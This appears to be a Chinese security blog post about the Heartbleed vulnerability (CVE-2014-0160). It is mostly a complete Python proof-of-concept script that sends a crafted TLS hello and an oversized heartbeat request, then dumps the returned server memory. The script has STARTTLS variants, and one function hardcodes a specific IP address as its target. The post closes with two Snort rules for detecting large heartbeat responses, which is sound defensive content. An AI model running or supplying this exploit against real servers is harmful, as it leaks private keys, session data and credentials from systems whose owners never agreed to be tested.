【漏洞分析】Heartbleed 2014-0160漏洞Poc及规则分析

HeartBleed Poc脚本

1、发送client hello接收serverhello 之后发送心跳再解析获取的数据信息

2、发送client hello时直接带上心跳消息,然后解析服务器返回信息

#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
# Modified by Derek Callaway ([email protected]) to add STARTTLS protocols
# The authors disclaim copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

class par:
    port = 443
    starttls = "hi"

options = OptionParser(usage=‘%prog server [options]‘, description=‘Test for SSL heartbeat vulnerability (CVE-2014-0160)‘)
options.add_option(‘-p‘, ‘--port‘, type=‘int‘, default=443, help=‘TCP port to test (default: 443)‘)
options.add_option(‘-s‘, ‘--starttls‘, type=‘string‘, default=‘‘, help=‘STARTTLS protocol: smtp, pop3, imap, ftp, or xmpp‘)

def h2bin(x):
    return x.replace(‘ ‘, ‘‘).replace(‘\n‘, ‘‘).decode(‘hex‘)

hello = h2bin(‘‘‘
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
‘‘‘)

hello2 = h2bin(‘‘‘
16 03 02 00 6c 01 00 00
68 03 01 55 80 a3 2d 12
d8 d2 07 ab 90 86 b4 3d
b6 f2 bd 7b 87 ea e9 cb
db ad c3 84 b0 fa 67 0f
3c de 59 09 a6 44 b7 5c
de 58 1f 67 26 00 38 00
10 00 0c 00 09 00 07 00
14 00 05 00 0e 00 08 00
04 00 0d 00 00 00 15 00
01 00 03 00 0b 00 11 00
12 00 18 00 1a 00 06 00
0a 00 13 00 17 00 16 00
0f 00 02 00 1b 00 19 01
00 18 03 02 00 6f 01 44
21 09 8d 7c 6f b8 a2 26
e3 c7 30 27 aa a5 a4 c2
fe 59 16 48 a7 15 3d a2
f8 8a 4c a5 6c a4 ae 42
4a 34 26 da e1 7d cd 30
c0 d5 a7 89 f4 d0 de 01
1e 79 23 02 09 67 f2 5d
7c ba ad a8 c4 5b 7a 90
7f bb 0c 09 10 1d 3f 28
63 77 98 cf 0c a1 be 04
00 2e fe fc af 57 6e e9
c8 fa c8 03 22 b4 44 e9
20 da d1 bb b2 3d f8 fa
42 9a a5 8b 81

‘‘‘)
#04 21 is len
#0800 can triger the vulnerability max value4000
hb = h2bin(‘‘‘
18 03 02 00 03
01 08 00
‘‘‘)

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ‘ ‘.join(‘%02X‘ % ord(c) for c in lin)
        pdat = ‘‘.join((c if 32 <= ord(c) <= 126 else ‘.‘ )for c in lin)
        print ‘  %04x: %-48s %s‘ % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=4):
    endtime = time.time() + timeout
    rdata = ‘‘
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print ‘Unexpected EOF receiving record header - server closed connection‘
        return None, None, None
    typ, ver, ln = struct.unpack(‘>BHH‘, hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print ‘Unexpected EOF receiving record payload - server closed connection‘
        return None, None, None
    print ‘ ... received message: type = %d, ver = %04x, length = %d‘ % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print ‘No heartbeat response received, server likely not vulnerable‘
            return False

        if typ == 24:
            print ‘Received heartbeat response:‘
            hexdump(pay)
            if len(pay) > 3:
                print str(len(pay)) + "\n"
                print ‘WARNING: server returned more data than it should - server is vulnerable!‘
            else:
                print ‘Server processed malformed heartbeat, but did not return any extra data.‘
            return True

        if typ == 21:
            print ‘Received alert:‘
            hexdump(pay)
            print ‘Server returned error, likely not vulnerable‘
            return False

BUFSIZ = 1024

def main():
    opts, args = options.parse_args()

##    args[0] = "101.227.244.221"
##    opts.port = "443"
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    print ‘Connecting...‘

    s.connect((args[0], opts.port))

    if opts.starttls != ‘‘:
      print ‘Sending STARTTLS Protocol Command...‘

    if opts.starttls == ‘smtp‘:
      s.recv(BUFSIZ)
      s.send("EHLO openssl.client.net\n")
      s.recv(BUFSIZ)
      s.send("STARTTLS\n")
      s.recv(BUFSIZ)

    if opts.starttls == ‘pop3‘:
      s.recv(BUFSIZ)
      s.send("STLS\n")
      s.recv(BUFSIZ)

    if opts.starttls == ‘imap‘:
      s.recv(BUFSIZ)
      s.send("STARTTLS\n")
      s.recv(BUFSIZ)

    if opts.starttls == ‘ftp‘:
      s.recv(BUFSIZ)
      s.send("AUTH TLS\n")
      s.recv(BUFSIZ)

    if opts.starttls == ‘xmpp‘: # TODO: This needs SASL
      s.send("<stream:stream xmlns:stream=‘http://etherx.jabber.org/streams‘ xmlns=‘jabber:client‘ to=‘%s‘ version=‘1.0‘\n")
      s.recv(BUFSIZ)

    print ‘Sending Client Hello...‘

    s.send(hello)

    print ‘Waiting for Server Hello...‘

    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print ‘Server closed connection without sending Server Hello.‘
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print ‘Sending heartbeat request...‘
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
def main2():
    #opts, args = options.parse_args()
    opts = par()

    arg = "101.227.244.221"
##    if len(args) < 1:
##        options.print_help()
##        return

    timeout = 20
    socket.setdefaulttimeout(timeout)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    print ‘Connecting...‘

    s.connect((arg, opts.port))

    if opts.starttls != ‘‘:
      print ‘Sending STARTTLS Protocol Command...‘

    if opts.starttls == ‘smtp‘:
      s.recv(BUFSIZ)
      s.send("EHLO openssl.client.net\n")
      s.recv(BUFSIZ)
      s.send("STARTTLS\n")
      s.recv(BUFSIZ)

    if opts.starttls == ‘pop3‘:
      s.recv(BUFSIZ)
      s.send("STLS\n")
      s.recv(BUFSIZ)

    if opts.starttls == ‘imap‘:
      s.recv(BUFSIZ)
      s.send("STARTTLS\n")
      s.recv(BUFSIZ)

    if opts.starttls == ‘ftp‘:
      s.recv(BUFSIZ)
      s.send("AUTH TLS\n")
      s.recv(BUFSIZ)

    if opts.starttls == ‘xmpp‘: # TODO: This needs SASL
      s.send("<stream:stream xmlns:stream=‘http://etherx.jabber.org/streams‘ xmlns=‘jabber:client‘ to=‘%s‘ version=‘1.0‘\n")
      s.recv(BUFSIZ)

    print ‘Sending Client Hello... and heartbeat request...‘

    s.send(hello2)

    while True:
        typ, ver, pay = recvmsg(s)

##        _DEBUG=True
##        if _DEBUG == True:
##            import pdb
##            pdb.set_trace()
        if typ is None:
            print ‘No heartbeat response received, server likely not vulnerable‘
            return False
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

        if typ == 24:
            print ‘Received heartbeat response:‘
            #hexdump(pay)
            if len(pay) > 3:
                print str(len(pay)) + "\n"
                print ‘WARNING: server returned more data than it should - server is vulnerable!‘
            else:
                print ‘Server processed malformed heartbeat, but did not return any extra data.‘
            return True

        if typ == 21:
            print ‘Received alert:‘
            hexdump(pay)
            print ‘Server returned error, likely not vulnerable‘
            return False

if __name__ == ‘__main__‘:
    main()
    main2()

snort检测规则:

alert tcp any [!80,!445] -> any [!80,!445] (msg:"SSLv3 Tls v1 Tlsv1.1 Tlsv1.2 Large Heartbeat Response"; flow:established,to_client;
         content:"|18 03|"; depth: 2; byte_test:2, >, 200, 3, big; byte_test:2, <, 16385, 3, big; threshold:type limit, track by_src, count 1
        , seconds 600; reference:cve,2014-0160; classtype:bad-unknown; sid: 1000000; rev:4;)

alert tcp any [!80,!445] -> any [!80,!445] (msg:"One pkt SSLv3 Tls v1 Tlsv1.1 Tlsv1.2 Large Heartbeat Response";flow:to_server,establ
        ished; content:"|16 03|"; offset:0; depth:2; content:"|01 00|"; offset:5;depth:2;byte_jump:2,0,relative,align;content:"|18 03|";dista
        nce:0;within:2; metadata:service https;reference:cve,2014-0160; classtype:bad-unknown; sid: 1000003; rev:4;)

版权声明:本文为博主原创文章,未经博主允许不得转载。

时间: 2024-11-13 08:50:11

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